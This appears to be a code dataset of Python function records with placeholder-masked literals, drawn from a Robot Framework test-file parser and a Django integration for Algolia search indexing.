{"signature": "def walk(self, *types):", "body": "requested = types if len(types) > <NUM_LIT:0> else [SuiteFile, ResourceFile, SuiteFolder, Testcase, Keyword]<EOL>for thing in self.robot_files:<EOL><INDENT>if thing.__class__ in requested:<EOL><INDENT>yield thing<EOL><DEDENT>if isinstance(thing, SuiteFolder):<EOL><INDENT>for child in thing.walk():<EOL><INDENT>if child.__class__ in requested:<EOL><INDENT>yield child<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for child in thing.walk(*types):<EOL><INDENT>yield child<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterator which visits all suites and suite files,\nyielding test cases and keywords", "id": "f11834:c0:m1"}
{"signature": "@property<EOL><INDENT>def robot_files(self):<DEDENT>", "body": "result = []<EOL>for name in os.listdir(self.path):<EOL><INDENT>fullpath = os.path.join(self.path, name)<EOL>if os.path.isdir(fullpath):<EOL><INDENT>result.append(RobotFactory(fullpath, parent=self))<EOL><DEDENT>else:<EOL><INDENT>if ((name.endswith(\"<STR_LIT>\") or name.endswith(\"<STR_LIT>\")) and<EOL>(name not in (\"<STR_LIT>\", \"<STR_LIT>\"))):<EOL><INDENT>result.append(RobotFactory(fullpath, parent=self))<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Return a list of all folders, and test suite files (.txt, .robot)", "id": "f11834:c0:m2"}
{"signature": "def walk(self, *types):", "body": "requested = types if len(types) > <NUM_LIT:0> else [Testcase, Keyword]<EOL>if Testcase in requested:<EOL><INDENT>for testcase in self.testcases:<EOL><INDENT>yield testcase<EOL><DEDENT><DEDENT>if Keyword in requested:<EOL><INDENT>for keyword in self.keywords:<EOL><INDENT>yield keyword<EOL><DEDENT><DEDENT>", "docstring": "Iterator which can return all test cases and/or keywords\n\nYou can specify with objects to return as parameters; if\nno parameters are given, both tests and keywords will\nbe returned.\n\nFor example, to get only test cases, you could call it\nlike this:\n\n    robot_file = RobotFactory(...)\n    for testcase in robot_file.walk(Testcase): ...", "id": "f11834:c1:m1"}
{"signature": "def _load(self, path):", "body": "self.tables = []<EOL>current_table = DefaultTable(self)<EOL>with Utf8Reader(path) as f:<EOL><INDENT>self.raw_text = f.read()<EOL>f._file.seek(<NUM_LIT:0>) <EOL>matcher = Matcher(re.IGNORECASE)<EOL>for linenumber, raw_text in enumerate(f.readlines()):<EOL><INDENT>linenumber += <NUM_LIT:1>; <EOL>raw_text = raw_text.replace(u'<STR_LIT>', '<STR_LIT:U+0020>')<EOL>raw_text = raw_text.rstrip()<EOL>cells = TxtReader.split_row(raw_text)<EOL>_heading_regex = r'<STR_LIT>'<EOL>if matcher(_heading_regex, cells[<NUM_LIT:0>]):<EOL><INDENT>table_name = matcher.group(<NUM_LIT:1>)<EOL>current_table = tableFactory(self, linenumber, table_name, raw_text)<EOL>self.tables.append(current_table)<EOL><DEDENT>else:<EOL><INDENT>current_table.append(Row(linenumber, raw_text, cells))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "The general idea is to do a quick parse, creating a list of\ntables. Each table is nothing more than a list of rows, with\neach row being a list of cells. Additional parsing such as\ncombining rows into statements is done on demand. This first\npass is solely to read in the plain text and organize it by table.", "id": "f11834:c1:m2"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "robot_tables = [table for table in self.tables if not isinstance(table, UnknownTable)]<EOL>if len(robot_tables) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>for table in self.tables:<EOL><INDENT>if isinstance(table, TestcaseTable):<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Return 'suite' or 'resource' or None\n\n        This will return 'suite' if a testcase table is found;\n        It will return 'resource' if at least one robot table\n        is found. If no tables are found it will return None", "id": "f11834:c1:m4"}
{"signature": "@property<EOL><INDENT>def keywords(self):<DEDENT>", "body": "for table in self.tables:<EOL><INDENT>if isinstance(table, KeywordTable):<EOL><INDENT>for keyword in table.keywords:<EOL><INDENT>yield keyword<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Generator which returns all keywords in the suite", "id": "f11834:c1:m5"}
{"signature": "def dump(self):", "body": "for table in self.tables:<EOL><INDENT>print(\"<STR_LIT>\" % table.name)<EOL>table.dump()<EOL><DEDENT>", "docstring": "Regurgitate the tables and rows", "id": "f11834:c1:m7"}
{"signature": "@property<EOL><INDENT>def settings(self):<DEDENT>", "body": "for table in self.tables:<EOL><INDENT>if isinstance(table, SettingTable):<EOL><INDENT>for statement in table.statements:<EOL><INDENT>yield statement<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Generator which returns all of the statements in all of the settings tables", "id": "f11834:c2:m1"}
{"signature": "@property<EOL><INDENT>def variables(self):<DEDENT>", "body": "for table in self.tables:<EOL><INDENT>if isinstance(table, VariableTable):<EOL><INDENT>for statement in table.rows:<EOL><INDENT>if statement[<NUM_LIT:0>] != \"<STR_LIT>\":<EOL><INDENT>yield statement<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Generator which returns all of the statements in all of the variables tables", "id": "f11834:c2:m2"}
{"signature": "@property<EOL><INDENT>def settings(self):<DEDENT>", "body": "for table in self.tables:<EOL><INDENT>if isinstance(table, SettingTable):<EOL><INDENT>for statement in table.statements:<EOL><INDENT>yield statement<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Generator which returns all of the statements in all of the settings tables", "id": "f11834:c3:m1"}
{"signature": "@property<EOL><INDENT>def statements(self):<DEDENT>", "body": "<EOL>if len(self.rows) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>current_statement = Statement(self.rows[<NUM_LIT:0>])<EOL>current_statement.startline = self.rows[<NUM_LIT:0>].linenumber<EOL>current_statement.endline = self.rows[<NUM_LIT:0>].linenumber<EOL>statements = []<EOL>for row in self.rows[<NUM_LIT:1>:]:<EOL><INDENT>if len(row) > <NUM_LIT:0> and row[<NUM_LIT:0>] == \"<STR_LIT>\":<EOL><INDENT>current_statement += row[<NUM_LIT:1>:]<EOL>current_statement.endline = row.linenumber<EOL><DEDENT>else:<EOL><INDENT>if len(current_statement) > <NUM_LIT:0>:<EOL><INDENT>statements.append(current_statement)<EOL><DEDENT>current_statement = Statement(row)<EOL>current_statement.startline = row.linenumber<EOL>current_statement.endline = row.linenumber<EOL><DEDENT><DEDENT>if len(current_statement) > <NUM_LIT:0>:<EOL><INDENT>statements.append(current_statement)<EOL><DEDENT>while (len(statements[-<NUM_LIT:1>]) == <NUM_LIT:0> or <EOL>((len(statements[-<NUM_LIT:1>]) == <NUM_LIT:1>) and len(statements[-<NUM_LIT:1>][<NUM_LIT:0>]) == <NUM_LIT:0>)):<EOL><INDENT>statements.pop()<EOL><DEDENT>return statements<EOL>", "docstring": "Return a list of statements\n\n        This is done by joining together any rows that\n        have continuations", "id": "f11835:c1:m0"}
{"signature": "def append(self, row):", "body": "if len(row) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if (row[<NUM_LIT:0>] != \"<STR_LIT>\" and <EOL>(not row[<NUM_LIT:0>].lstrip().startswith(\"<STR_LIT:#>\"))):<EOL><INDENT>self._children.append(self._childClass(self.parent, row.linenumber, row[<NUM_LIT:0>]))<EOL>if len(row.cells) > <NUM_LIT:1>:<EOL><INDENT>row[<NUM_LIT:0>] = \"<STR_LIT>\"<EOL>self._children[-<NUM_LIT:1>].append(row.linenumber, row.raw_text, row.cells)<EOL><DEDENT><DEDENT>elif len(self._children) == <NUM_LIT:0>:<EOL><INDENT>self.comments.append(row)<EOL><DEDENT>else:<EOL><INDENT>if len(row.cells) > <NUM_LIT:0>:<EOL><INDENT>self._children[-<NUM_LIT:1>].append(row.linenumber, row.raw_text, row.cells)<EOL><DEDENT><DEDENT>", "docstring": "The idea is, we recognize when we have a new testcase by \nchecking the first cell. If it's not empty and not a comment, \nwe have a new test case.", "id": "f11835:c7:m2"}
{"signature": "@property<EOL><INDENT>def is_templated(self):<DEDENT>", "body": "for table in self.parent.tables:<EOL><INDENT>if isinstance(table, SettingTable):<EOL><INDENT>for row in table.rows:<EOL><INDENT>if row[<NUM_LIT:0>].lower() == \"<STR_LIT>\":<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Return True if the test is part of a suite that uses a Test Template", "id": "f11836:c0:m1"}
{"signature": "def append(self, linenumber, raw_text, cells):", "body": "self.rows.append(Row(linenumber, raw_text, cells))<EOL>", "docstring": "Add another row of data from a test suite", "id": "f11837:c0:m0"}
{"signature": "@property<EOL><INDENT>def steps(self):<DEDENT>", "body": "steps = []<EOL>for statement in self.statements:<EOL><INDENT>if ((not statement.is_comment()) and<EOL>(not statement.is_setting())):<EOL><INDENT>steps.append(statement)<EOL><DEDENT><DEDENT>return steps<EOL>", "docstring": "Return a list of steps (statements that are not settings or comments)", "id": "f11837:c0:m2"}
{"signature": "@property<EOL><INDENT>def settings(self):<DEDENT>", "body": "return [statement for statement in self.statements if statement.is_setting()]<EOL>", "docstring": "Return a list of settings (statements with cell[1] matching \\[.*?\\])\n\n        Note: this returns any statement that *looks* like a setting. If you have\n        a misspelled or completely bogus setting, it'll return that too\n        (eg: | | [Blockumentation] | hello, world)", "id": "f11837:c0:m3"}
{"signature": "@property<EOL><INDENT>def statements(self):<DEDENT>", "body": "<EOL>if len(self.rows) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>current_statement = Statement(self.rows[<NUM_LIT:0>])<EOL>current_statement.startline = self.rows[<NUM_LIT:0>].linenumber<EOL>current_statement.endline = self.rows[<NUM_LIT:0>].linenumber<EOL>statements = []<EOL>for row in self.rows[<NUM_LIT:1>:]:<EOL><INDENT>if len(row) > <NUM_LIT:1> and row[<NUM_LIT:0>] == \"<STR_LIT>\" and row[<NUM_LIT:1>] == \"<STR_LIT>\":<EOL><INDENT>current_statement += row[<NUM_LIT:2>:]<EOL>current_statement.endline = row.linenumber<EOL><DEDENT>else:<EOL><INDENT>if len(current_statement) > <NUM_LIT:0>:<EOL><INDENT>statements.append(current_statement)<EOL><DEDENT>current_statement = Statement(row)<EOL>current_statement.startline = row.linenumber<EOL>current_statement.endline = row.linenumber<EOL><DEDENT><DEDENT>if len(current_statement) > <NUM_LIT:0>:<EOL><INDENT>statements.append(current_statement)<EOL><DEDENT>return statements<EOL>", "docstring": "Return a list of statements\n\n        This is done by joining together any rows that\n        have continuations", "id": "f11837:c0:m4"}
{"signature": "def is_comment(self):", "body": "for cell in self[:]:<EOL><INDENT>if cell == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>if cell.lstrip().startswith(\"<STR_LIT:#>\"):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return True if the first non-empty cell starts with \"#", "id": "f11837:c3:m1"}
{"signature": "def apply_some_settings(self, index):", "body": "<EOL>old_hpp = index.settings['<STR_LIT>'] if '<STR_LIT>' in index.settings else None<EOL>index.settings['<STR_LIT>'] = <NUM_LIT><EOL>index.reindex_all()<EOL>index.settings['<STR_LIT>'] = old_hpp<EOL>time.sleep(<NUM_LIT:10>)  <EOL>index_settings = index.get_settings()<EOL>self.assertEqual(index_settings['<STR_LIT>'], <NUM_LIT>,<EOL>\"<STR_LIT>\")<EOL>return index_settings<EOL>", "docstring": "Applies a sample setting to the index.\n\n:param index: an AlgoliaIndex that will be updated\n:return: the new settings", "id": "f11841:c0:m13"}
{"signature": "def __init__(self, settings=SETTINGS):", "body": "try:<EOL><INDENT>app_id = settings['<STR_LIT>']<EOL>api_key = settings['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AlgoliaEngineError(<EOL>'<STR_LIT>')<EOL><DEDENT>self.__auto_indexing = settings.get('<STR_LIT>', True)<EOL>self.__settings = settings<EOL>self.__registered_models = {}<EOL>self.client = algoliasearch.Client(app_id, api_key)<EOL>self.client.set_extra_header('<STR_LIT>',<EOL>'<STR_LIT>'<EOL>% (CLIENT_VERSION, python_version(), VERSION, django_version))<EOL>", "docstring": "Initializes the Algolia engine.", "id": "f11854:c2:m0"}
{"signature": "def is_registered(self, model):", "body": "return model in self.__registered_models<EOL>", "docstring": "Checks whether the given models is registered with Algolia engine", "id": "f11854:c2:m1"}
{"signature": "def register(self, model, index_cls=AlgoliaIndex, auto_indexing=None):", "body": "<EOL>if self.is_registered(model):<EOL><INDENT>raise RegistrationError(<EOL>'<STR_LIT>'.format(model))<EOL><DEDENT>if not issubclass(index_cls, AlgoliaIndex):<EOL><INDENT>raise RegistrationError(<EOL>'<STR_LIT>'.format(index_cls))<EOL><DEDENT>index_obj = index_cls(model, self.client, self.__settings)<EOL>self.__registered_models[model] = index_obj<EOL>if (isinstance(auto_indexing, bool) and<EOL>auto_indexing) or self.__auto_indexing:<EOL><INDENT>post_save.connect(self.__post_save_receiver, model)<EOL>pre_delete.connect(self.__pre_delete_receiver, model)<EOL>logger.info('<STR_LIT>', model)<EOL><DEDENT>", "docstring": "Registers the given model with Algolia engine.\n\nIf the given model is already registered with Algolia engine, a\nRegistrationError will be raised.", "id": "f11854:c2:m2"}
{"signature": "def unregister(self, model):", "body": "if not self.is_registered(model):<EOL><INDENT>raise RegistrationError(<EOL>'<STR_LIT>'.format(model))<EOL><DEDENT>del self.__registered_models[model]<EOL>post_save.disconnect(self.__post_save_receiver, model)<EOL>pre_delete.disconnect(self.__pre_delete_receiver, model)<EOL>logger.info('<STR_LIT>', model)<EOL>", "docstring": "Unregisters the given model with Algolia engine.\n\nIf the given model is not registered with Algolia engine, a\nRegistrationError will be raised.", "id": "f11854:c2:m3"}
{"signature": "def get_registered_models(self):", "body": "return list(self.__registered_models.keys())<EOL>", "docstring": "Returns a list of models that have been registered with Algolia\nengine.", "id": "f11854:c2:m4"}
{"signature": "def get_adapter(self, model):", "body": "if not self.is_registered(model):<EOL><INDENT>raise RegistrationError(<EOL>'<STR_LIT>'.format(model))<EOL><DEDENT>return self.__registered_models[model]<EOL>", "docstring": "Returns the adapter associated with the given model.", "id": "f11854:c2:m5"}
{"signature": "def get_adapter_from_instance(self, instance):", "body": "model = instance.__class__<EOL>return self.get_adapter(model)<EOL>", "docstring": "Returns the adapter associated with the given instance.", "id": "f11854:c2:m6"}
{"signature": "def save_record(self, instance, **kwargs):", "body": "adapter = self.get_adapter_from_instance(instance)<EOL>adapter.save_record(instance, **kwargs)<EOL>", "docstring": "Saves the record.\n\n        If `update_fields` is set, this method will use partial_update_object()\n        and will update only the given fields (never `_geoloc` and `_tags`).\n\n        For more information about partial_update_object:\n        https://github.com/algolia/algoliasearch-client-python#update-an-existing-object-in-the-index", "id": "f11854:c2:m7"}
{"signature": "def delete_record(self, instance):", "body": "adapter = self.get_adapter_from_instance(instance)<EOL>adapter.delete_record(instance)<EOL>", "docstring": "Deletes the record.", "id": "f11854:c2:m8"}
{"signature": "def update_records(self, model, qs, batch_size=<NUM_LIT:1000>, **kwargs):", "body": "adapter = self.get_adapter(model)<EOL>adapter.update_records(qs, batch_size=batch_size, **kwargs)<EOL>", "docstring": "Updates multiple records.\n\nThis method is optimized for speed. It takes a QuerySet and the same\narguments as QuerySet.update(). Optionally, you can specify the size\nof the batch send to Algolia with batch_size (default to 1000).\n\n>>> from algoliasearch_django import update_records\n>>> qs = MyModel.objects.filter(myField=False)\n>>> update_records(MyModel, qs, myField=True)\n>>> qs.update(myField=True)", "id": "f11854:c2:m9"}
{"signature": "def raw_search(self, model, query='<STR_LIT>', params=None):", "body": "if params is None:<EOL><INDENT>params = {}<EOL><DEDENT>adapter = self.get_adapter(model)<EOL>return adapter.raw_search(query, params)<EOL>", "docstring": "Performs a search query and returns the parsed JSON.", "id": "f11854:c2:m10"}
{"signature": "def clear_index(self, model):", "body": "adapter = self.get_adapter(model)<EOL>adapter.clear_index()<EOL>", "docstring": "Clears the index.", "id": "f11854:c2:m11"}
{"signature": "def reindex_all(self, model, batch_size=<NUM_LIT:1000>):", "body": "adapter = self.get_adapter(model)<EOL>return adapter.reindex_all(batch_size)<EOL>", "docstring": "Reindex all the records.\n\nBy default, this method use Model.objects.all() but you can implement\na method `get_queryset` in your subclass. This can be used to optimize\nthe performance (for example with select_related or prefetch_related).", "id": "f11854:c2:m12"}
{"signature": "def reset(self, settings=None):", "body": "self.__init__(settings=settings if settings is not None else SETTINGS)<EOL>", "docstring": "Reinitializes the Algolia engine and its client.\n        :param settings: settings to use instead of the default django.conf.settings.algolia", "id": "f11854:c2:m13"}
{"signature": "def __post_save_receiver(self, instance, **kwargs):", "body": "logger.debug('<STR_LIT>', instance.__class__)<EOL>self.save_record(instance, **kwargs)<EOL>", "docstring": "Signal handler for when a registered model has been saved.", "id": "f11854:c2:m14"}
{"signature": "def __pre_delete_receiver(self, instance, **kwargs):", "body": "logger.debug('<STR_LIT>', instance.__class__)<EOL>self.delete_record(instance)<EOL>", "docstring": "Signal handler for when a registered model has been deleted.", "id": "f11854:c2:m15"}
{"signature": "def handle(self, *args, **options):", "body": "batch_size = options.get('<STR_LIT>', None)<EOL>if not batch_size:<EOL><INDENT>batch_size = <NUM_LIT:1000><EOL><DEDENT>self.stdout.write('<STR_LIT>')<EOL>for model in get_registered_model():<EOL><INDENT>if options.get('<STR_LIT>', None) and not (model.__name__ in<EOL>options['<STR_LIT>']):<EOL><INDENT>continue<EOL><DEDENT>counts = reindex_all(model, batch_size=batch_size)<EOL>self.stdout.write('<STR_LIT>'.format(model.__name__, counts))<EOL><DEDENT>", "docstring": "Run the management command.", "id": "f11857:c0:m1"}
{"signature": "def handle(self, *args, **options):", "body": "self.stdout.write('<STR_LIT>')<EOL>for model in get_registered_model():<EOL><INDENT>if options.get('<STR_LIT>', None) and not (model.__name__ in<EOL>options['<STR_LIT>']):<EOL><INDENT>continue<EOL><DEDENT>get_adapter(model).set_settings()<EOL>self.stdout.write('<STR_LIT>'.format(model.__name__))<EOL><DEDENT>", "docstring": "Run the management command.", "id": "f11858:c0:m1"}
{"signature": "def handle(self, *args, **options):", "body": "self.stdout.write('<STR_LIT>')<EOL>for model in get_registered_model():<EOL><INDENT>if options.get('<STR_LIT>', None) and not (model.__name__ in<EOL>options['<STR_LIT>']):<EOL><INDENT>continue<EOL><DEDENT>clear_index(model)<EOL>self.stdout.write('<STR_LIT>'.format(model.__name__))<EOL><DEDENT>", "docstring": "Run the management command.", "id": "f11859:c0:m1"}
{"signature": "def __init__(self, model, client, settings):", "body": "self.__init_index(client, model, settings)<EOL>self.model = model<EOL>self.__client = client<EOL>self.__named_fields = {}<EOL>self.__translate_fields = {}<EOL>if self.settings is None:  <EOL><INDENT>self.settings = {}<EOL><DEDENT>try:<EOL><INDENT>all_model_fields = [f.name for f in model._meta.get_fields() if not f.is_relation]<EOL><DEDENT>except AttributeError:  <EOL><INDENT>all_model_fields = [f.name for f in model._meta.local_fields]<EOL><DEDENT>if isinstance(self.fields, str):<EOL><INDENT>self.fields = (self.fields,)<EOL><DEDENT>elif isinstance(self.fields, (list, tuple, set)):<EOL><INDENT>self.fields = tuple(self.fields)<EOL><DEDENT>else:<EOL><INDENT>raise AlgoliaIndexError('<STR_LIT>')<EOL><DEDENT>for field in self.fields:<EOL><INDENT>if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:0>) and isinstance(field, unicode) or isinstance(field, str):<EOL><INDENT>attr = field<EOL>name = field<EOL><DEDENT>elif isinstance(field, (list, tuple)) and len(field) == <NUM_LIT:2>:<EOL><INDENT>attr = field[<NUM_LIT:0>]<EOL>name = field[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>raise AlgoliaIndexError(<EOL>'<STR_LIT>'.format(field, type(field)))<EOL><DEDENT>self.__translate_fields[attr] = name<EOL>if attr in all_model_fields:<EOL><INDENT>self.__named_fields[name] = get_model_attr(attr)<EOL><DEDENT>else:<EOL><INDENT>self.__named_fields[name] = check_and_get_attr(model, attr)<EOL><DEDENT><DEDENT>if not self.fields:<EOL><INDENT>self.fields = set(all_model_fields)<EOL>for elt in ('<STR_LIT>', '<STR_LIT:id>', '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>self.fields.remove(elt)<EOL><DEDENT>except KeyError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>self.__translate_fields = dict(zip(self.fields, self.fields))<EOL>self.__named_fields = dict(zip(self.fields, map(get_model_attr,<EOL>self.fields)))<EOL><DEDENT>if self.custom_objectID in chain(['<STR_LIT>'], all_model_fields) or hasattr(model, self.custom_objectID):<EOL><INDENT>self.objectID = get_model_attr(self.custom_objectID)<EOL><DEDENT>else:<EOL><INDENT>raise AlgoliaIndexError('<STR_LIT>'.format(<EOL>self.custom_objectID, model))<EOL><DEDENT>if self.tags:<EOL><INDENT>if self.tags in all_model_fields:<EOL><INDENT>self.tags = get_model_attr(self.tags)<EOL><DEDENT>else:<EOL><INDENT>self.tags = check_and_get_attr(model, self.tags)<EOL><DEDENT><DEDENT>if self.geo_field:<EOL><INDENT>self.geo_field = check_and_get_attr(model, self.geo_field)<EOL><DEDENT>if self.should_index:<EOL><INDENT>if hasattr(model, self.should_index):<EOL><INDENT>attr = getattr(model, self.should_index)<EOL>if type(attr) is not bool:  <EOL><INDENT>self.should_index = attr<EOL><DEDENT>if callable(self.should_index):<EOL><INDENT>self._should_index_is_method = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>model._meta.get_field_by_name(self.should_index)<EOL><DEDENT>except:<EOL><INDENT>raise AlgoliaIndexError('<STR_LIT>'.format(<EOL>self.should_index, model))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Initializes the index.", "id": "f11860:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def _validate_geolocation(geolocation):<DEDENT>", "body": "if set(geolocation) != {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>raise AlgoliaIndexError(<EOL>'<STR_LIT>'.format(<EOL>geolocation<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Make sure we have the proper geolocation format.", "id": "f11860:c1:m2"}
{"signature": "def get_raw_record(self, instance, update_fields=None):", "body": "tmp = {'<STR_LIT>': self.objectID(instance)}<EOL>if update_fields:<EOL><INDENT>if isinstance(update_fields, str):<EOL><INDENT>update_fields = (update_fields,)<EOL><DEDENT>for elt in update_fields:<EOL><INDENT>key = self.__translate_fields.get(elt, None)<EOL>if key:<EOL><INDENT>tmp[key] = self.__named_fields[key](instance)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for key, value in self.__named_fields.items():<EOL><INDENT>tmp[key] = value(instance)<EOL><DEDENT>if self.geo_field:<EOL><INDENT>loc = self.geo_field(instance)<EOL>if isinstance(loc, tuple):<EOL><INDENT>tmp['<STR_LIT>'] = {'<STR_LIT>': loc[<NUM_LIT:0>], '<STR_LIT>': loc[<NUM_LIT:1>]}<EOL><DEDENT>elif isinstance(loc, dict):<EOL><INDENT>self._validate_geolocation(loc)<EOL>tmp['<STR_LIT>'] = loc<EOL><DEDENT>elif isinstance(loc, list):<EOL><INDENT>[self._validate_geolocation(geo) for geo in loc]<EOL>tmp['<STR_LIT>'] = loc<EOL><DEDENT><DEDENT>if self.tags:<EOL><INDENT>if callable(self.tags):<EOL><INDENT>tmp['<STR_LIT>'] = self.tags(instance)<EOL><DEDENT>if not isinstance(tmp['<STR_LIT>'], list):<EOL><INDENT>tmp['<STR_LIT>'] = list(tmp['<STR_LIT>'])<EOL><DEDENT><DEDENT><DEDENT>logger.debug('<STR_LIT>', tmp['<STR_LIT>'], self.model)<EOL>return tmp<EOL>", "docstring": "Gets the raw record.\n\nIf `update_fields` is set, the raw record will be build with only\nthe objectID and the given fields. Also, `_geoloc` and `_tags` will\nnot be included.", "id": "f11860:c1:m3"}
{"signature": "def _has_should_index(self):", "body": "return self.should_index is not None<EOL>", "docstring": "Return True if this AlgoliaIndex has a should_index method or attribute", "id": "f11860:c1:m4"}
{"signature": "def _should_index(self, instance):", "body": "if self._has_should_index():<EOL><INDENT>return self._should_really_index(instance)<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Return True if the object should be indexed (including when self.should_index is not set).", "id": "f11860:c1:m5"}
{"signature": "def _should_really_index(self, instance):", "body": "if self._should_index_is_method:<EOL><INDENT>is_method = inspect.ismethod(self.should_index)<EOL>try:<EOL><INDENT>count_args = len(inspect.signature(self.should_index).parameters)<EOL><DEDENT>except AttributeError:<EOL><INDENT>count_args = len(inspect.getargspec(self.should_index).args)<EOL><DEDENT>if is_method or count_args is <NUM_LIT:1>:<EOL><INDENT>return self.should_index(instance)<EOL><DEDENT>else:<EOL><INDENT>return self.should_index()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>attr_type = type(self.should_index)<EOL>if attr_type is DeferredAttribute:<EOL><INDENT>attr_value = self.should_index.__get__(instance, None)<EOL><DEDENT>elif attr_type is str:<EOL><INDENT>attr_value = getattr(instance, self.should_index)<EOL><DEDENT>elif attr_type is property:<EOL><INDENT>attr_value = self.should_index.__get__(instance)<EOL><DEDENT>else:<EOL><INDENT>raise AlgoliaIndexError('<STR_LIT>'.format(<EOL>self.should_index))<EOL><DEDENT>if type(attr_value) is not bool:<EOL><INDENT>raise AlgoliaIndexError(\"<STR_LIT>\" % (<EOL>instance.__class__.__name__, self.should_index))<EOL><DEDENT>return attr_value<EOL><DEDENT>", "docstring": "Return True if according to should_index the object should be indexed.", "id": "f11860:c1:m6"}
{"signature": "def save_record(self, instance, update_fields=None, **kwargs):", "body": "if not self._should_index(instance):<EOL><INDENT>self.delete_record(instance)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>if update_fields:<EOL><INDENT>obj = self.get_raw_record(instance,<EOL>update_fields=update_fields)<EOL>result = self.__index.partial_update_object(obj)<EOL><DEDENT>else:<EOL><INDENT>obj = self.get_raw_record(instance)<EOL>result = self.__index.save_object(obj)<EOL><DEDENT>logger.info('<STR_LIT>', obj['<STR_LIT>'], self.model)<EOL>return result<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', obj['<STR_LIT>'],<EOL>self.model, e)<EOL><DEDENT><DEDENT>", "docstring": "Saves the record.\n\n        If `update_fields` is set, this method will use partial_update_object()\n        and will update only the given fields (never `_geoloc` and `_tags`).\n\n        For more information about partial_update_object:\n        https://github.com/algolia/algoliasearch-client-python#update-an-existing-object-in-the-index", "id": "f11860:c1:m7"}
{"signature": "def delete_record(self, instance):", "body": "objectID = self.objectID(instance)<EOL>try:<EOL><INDENT>self.__index.delete_object(objectID)<EOL>logger.info('<STR_LIT>', objectID, self.model)<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', objectID,<EOL>self.model, e)<EOL><DEDENT><DEDENT>", "docstring": "Deletes the record.", "id": "f11860:c1:m8"}
{"signature": "def update_records(self, qs, batch_size=<NUM_LIT:1000>, **kwargs):", "body": "tmp = {}<EOL>for key, value in kwargs.items():<EOL><INDENT>name = self.__translate_fields.get(key, None)<EOL>if name:<EOL><INDENT>tmp[name] = value<EOL><DEDENT><DEDENT>batch = []<EOL>objectsIDs = qs.only(self.custom_objectID).values_list(<EOL>self.custom_objectID, flat=True)<EOL>for elt in objectsIDs:<EOL><INDENT>tmp['<STR_LIT>'] = elt<EOL>batch.append(dict(tmp))<EOL>if len(batch) >= batch_size:<EOL><INDENT>self.__index.partial_update_objects(batch)<EOL>batch = []<EOL><DEDENT><DEDENT>if len(batch) > <NUM_LIT:0>:<EOL><INDENT>self.__index.partial_update_objects(batch)<EOL><DEDENT>", "docstring": "Updates multiple records.\n\nThis method is optimized for speed. It takes a QuerySet and the same\narguments as QuerySet.update(). Optionnaly, you can specify the size\nof the batch send to Algolia with batch_size (default to 1000).\n\n>>> from algoliasearch_django import update_records\n>>> qs = MyModel.objects.filter(myField=False)\n>>> update_records(MyModel, qs, myField=True)\n>>> qs.update(myField=True)", "id": "f11860:c1:m9"}
{"signature": "def raw_search(self, query='<STR_LIT>', params=None):", "body": "if params is None:<EOL><INDENT>params = {}<EOL><DEDENT>try:<EOL><INDENT>return self.__index.search(query, params)<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', self.index_name, e)<EOL><DEDENT><DEDENT>", "docstring": "Performs a search query and returns the parsed JSON.", "id": "f11860:c1:m10"}
{"signature": "def get_settings(self):", "body": "try:<EOL><INDENT>logger.info('<STR_LIT>', self.index_name)<EOL>return self.__index.get_settings()<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>self.model, e)<EOL><DEDENT><DEDENT>", "docstring": "Returns the settings of the index.", "id": "f11860:c1:m11"}
{"signature": "def set_settings(self):", "body": "if not self.settings:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>self.__index.set_settings(self.settings)<EOL>logger.info('<STR_LIT>', self.index_name)<EOL><DEDENT>except AlgoliaException as e:<EOL><INDENT>if DEBUG:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>self.model, e)<EOL><DEDENT><DEDENT>", "docstring": "Applies the settings to the index.", "id": "f11860:c1:m12"}
